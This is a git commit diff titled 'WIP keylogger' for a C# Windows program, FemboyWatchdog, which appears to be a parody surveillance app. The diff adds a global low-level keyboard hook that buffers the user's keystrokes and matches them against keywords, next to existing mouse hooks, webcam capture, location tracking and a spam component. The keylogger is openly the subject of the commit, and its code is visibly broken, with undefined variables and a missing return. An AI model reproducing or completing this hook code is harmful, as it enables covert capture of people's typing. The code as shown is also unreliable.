WIP keylogger
This commit is contained in:
parent
665333bbbe
commit
0c57e4e021
@ -7,18 +7,21 @@ namespace FemboyWatchdog
|
|||||||
{
|
{
|
||||||
static class GlobalHooks
|
static class GlobalHooks
|
||||||
{
|
{
|
||||||
public delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
|
public delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||||||
|
|
||||||
public static IntPtr SetHook(LowLevelMouseProc proc)
|
public static IntPtr SetHook(int idHook, HookProc proc)
|
||||||
{
|
{
|
||||||
using (Process curProcess = Process.GetCurrentProcess())
|
using (Process curProcess = Process.GetCurrentProcess())
|
||||||
using (ProcessModule curModule = curProcess.MainModule)
|
using (ProcessModule curModule = curProcess.MainModule)
|
||||||
{
|
{
|
||||||
return SetWindowsHookEx(WH_MOUSE_LL, proc,
|
return SetWindowsHookEx(idHook, proc,
|
||||||
GetModuleHandle(curModule.ModuleName), 0);
|
GetModuleHandle(curModule.ModuleName), 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public const int WH_KEYBOARD = 2;
|
||||||
|
public const int WH_KEYBOARD_LL = 13;
|
||||||
|
public const int WH_MOUSE = 7;
|
||||||
public const int WH_MOUSE_LL = 14;
|
public const int WH_MOUSE_LL = 14;
|
||||||
|
|
||||||
public enum MouseMessages
|
public enum MouseMessages
|
||||||
@ -31,6 +34,11 @@ namespace FemboyWatchdog
|
|||||||
WM_RBUTTONUP = 0x0205
|
WM_RBUTTONUP = 0x0205
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public enum KeyboardMessages
|
||||||
|
{
|
||||||
|
WM_CHAR = 0x0102
|
||||||
|
}
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)]
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
public struct POINT
|
public struct POINT
|
||||||
{
|
{
|
||||||
@ -50,7 +58,7 @@ namespace FemboyWatchdog
|
|||||||
|
|
||||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||||
public static extern IntPtr SetWindowsHookEx(int idHook,
|
public static extern IntPtr SetWindowsHookEx(int idHook,
|
||||||
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
|
HookProc lpfn, IntPtr hMod, uint dwThreadId);
|
||||||
|
|
||||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||||
[return: MarshalAs(UnmanagedType.Bool)]
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
|
@ -9,6 +9,7 @@ using System.Net;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Speech.Synthesis;
|
using System.Speech.Synthesis;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using AForge.Video;
|
using AForge.Video;
|
||||||
using AForge.Video.DirectShow;
|
using AForge.Video.DirectShow;
|
||||||
@ -26,27 +27,39 @@ namespace FemboyWatchdog
|
|||||||
private VideoCaptureDevice videoDevice;
|
private VideoCaptureDevice videoDevice;
|
||||||
private VideoCapabilities[] videoCapabilities;
|
private VideoCapabilities[] videoCapabilities;
|
||||||
|
|
||||||
private Timer labelBlinkTimer;
|
private System.Windows.Forms.Timer labelBlinkTimer;
|
||||||
private Timer ttsTimer;
|
private System.Windows.Forms.Timer ttsTimer;
|
||||||
private Timer mousemvmtTimer;
|
private System.Windows.Forms.Timer mousemvmtTimer;
|
||||||
private int mousemvmtCount = 0;
|
private int mousemvmtCount = 0;
|
||||||
/* mouse movements come in as a stream, so we'll say a mouse movement is "over" by waiting
|
/* mouse movements come in as a stream, so we'll say a mouse movement is "over" by waiting
|
||||||
a certain time with no movement */
|
a certain time with no movement */
|
||||||
private Timer lastmousemvmtTimer;
|
private System.Windows.Forms.Timer lastmousemvmtTimer;
|
||||||
|
|
||||||
private SpeechSynthesizer ss;
|
private SpeechSynthesizer ss;
|
||||||
|
|
||||||
private SolidBrush brush = new SolidBrush(Color.Red);
|
private SolidBrush brush = new SolidBrush(Color.Red);
|
||||||
private Font font = new Font(FontFamily.GenericSansSerif, 24);
|
private Font font = new Font(FontFamily.GenericSansSerif, 24);
|
||||||
|
|
||||||
private GlobalHooks.LowLevelMouseProc _proc;
|
private GlobalHooks.HookProc _mouseProc;
|
||||||
private static IntPtr _hookID = IntPtr.Zero;
|
private static IntPtr _mouseHookID = IntPtr.Zero;
|
||||||
|
|
||||||
|
private GlobalHooks.HookProc _kbProc;
|
||||||
|
private static IntPtr _kbHookID = IntPtr.Zero;
|
||||||
|
private string keyloggerBuffer;
|
||||||
|
private static string[] keyloggerKeywords = {
|
||||||
|
"fembooru", "femboyfinancial", "femboywatchdog", "accounts payable",
|
||||||
|
"femboycliquere", "femboybanking", "femboygeometry"
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
public Monitor()
|
public Monitor()
|
||||||
{
|
{
|
||||||
_proc = OnMouseMessage;
|
_mouseProc = OnMouseMessage;
|
||||||
GlobalHooks.SetHook(_proc);
|
GlobalHooks.SetHook(GlobalHooks.WH_MOUSE_LL, _mouseProc);
|
||||||
|
|
||||||
|
_kbProc = OnKeyboardMessage;
|
||||||
|
GlobalHooks.SetHook(GlobalHooks.WH_KEYBOARD_LL, _kbProc);
|
||||||
|
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
|
|
||||||
ss = new SpeechSynthesizer();
|
ss = new SpeechSynthesizer();
|
||||||
@ -54,14 +67,14 @@ namespace FemboyWatchdog
|
|||||||
tracker = new LocationProvider();
|
tracker = new LocationProvider();
|
||||||
spammer = new SpamProvider();
|
spammer = new SpamProvider();
|
||||||
|
|
||||||
ttsTimer = new Timer();
|
ttsTimer = new System.Windows.Forms.Timer();
|
||||||
ttsTimer.Interval = 15000;
|
ttsTimer.Interval = 15000;
|
||||||
labelBlinkTimer = new Timer();
|
labelBlinkTimer = new System.Windows.Forms.Timer();
|
||||||
labelBlinkTimer.Interval = 1000;
|
labelBlinkTimer.Interval = 1000;
|
||||||
mousemvmtTimer = new Timer();
|
mousemvmtTimer = new System.Windows.Forms.Timer();
|
||||||
mousemvmtTimer.Interval = 60000;
|
mousemvmtTimer.Interval = 60000;
|
||||||
mousemvmtTimer.Start();
|
mousemvmtTimer.Start();
|
||||||
lastmousemvmtTimer = new Timer();
|
lastmousemvmtTimer = new System.Windows.Forms.Timer();
|
||||||
lastmousemvmtTimer.Interval = 500;
|
lastmousemvmtTimer.Interval = 500;
|
||||||
|
|
||||||
// hook events
|
// hook events
|
||||||
@ -75,6 +88,44 @@ namespace FemboyWatchdog
|
|||||||
ttsTimer.Start();
|
ttsTimer.Start();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private IntPtr OnKeyboardMessage(Int32 code, IntPtr wParam, IntPtr lParam)
|
||||||
|
{
|
||||||
|
Int32 msgType = wParam.ToInt32();
|
||||||
|
Int32 charCode = wParam.ToInt32();
|
||||||
|
Int32 repeatCount = lParam.ToInt32() & 0xFFFF;
|
||||||
|
string key = "";
|
||||||
|
if (code >= 0 && msgType == GlobalHooks.WM_CHAR)
|
||||||
|
{
|
||||||
|
charCode = Marshal.ReadInt32(lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
buf += keys.ToString();
|
||||||
|
foreach (string keyword in keywords)
|
||||||
|
{
|
||||||
|
if (buf.ToLower().Contains(keyword))
|
||||||
|
{
|
||||||
|
ShowBonusBalloon(keyword);
|
||||||
|
buf = "";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ShowBonusBalloon(string keyword)
|
||||||
|
{
|
||||||
|
NotifyIcon ni = new NotifyIcon();
|
||||||
|
ni.Visible = true;
|
||||||
|
ni.Icon = SystemIcons.Application;
|
||||||
|
ni.BalloonTipTitle = "Bonus earned!";
|
||||||
|
ni.BalloonTipText = string.Format(
|
||||||
|
"Thank you for discussing {0}! +0.05 USD has been deposited into your account.",
|
||||||
|
keyword
|
||||||
|
);
|
||||||
|
ni.ShowBalloonTip(10000);
|
||||||
|
Thread.Sleep(15000);
|
||||||
|
ni.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
private void lastmousemvmtTimer_Tick(object sender, EventArgs e)
|
private void lastmousemvmtTimer_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
++mousemvmtCount;
|
++mousemvmtCount;
|
||||||
@ -117,7 +168,7 @@ namespace FemboyWatchdog
|
|||||||
if (!lastmousemvmtTimer.Enabled)
|
if (!lastmousemvmtTimer.Enabled)
|
||||||
lastmousemvmtTimer.Start();
|
lastmousemvmtTimer.Start();
|
||||||
}
|
}
|
||||||
return GlobalHooks.CallNextHookEx(_hookID, nCode, wParam, lParam);
|
return GlobalHooks.CallNextHookEx(_mouseHookID, nCode, wParam, lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void OpenCamera()
|
private void OpenCamera()
|
||||||
|
Loading…
x
Reference in New Issue
Block a user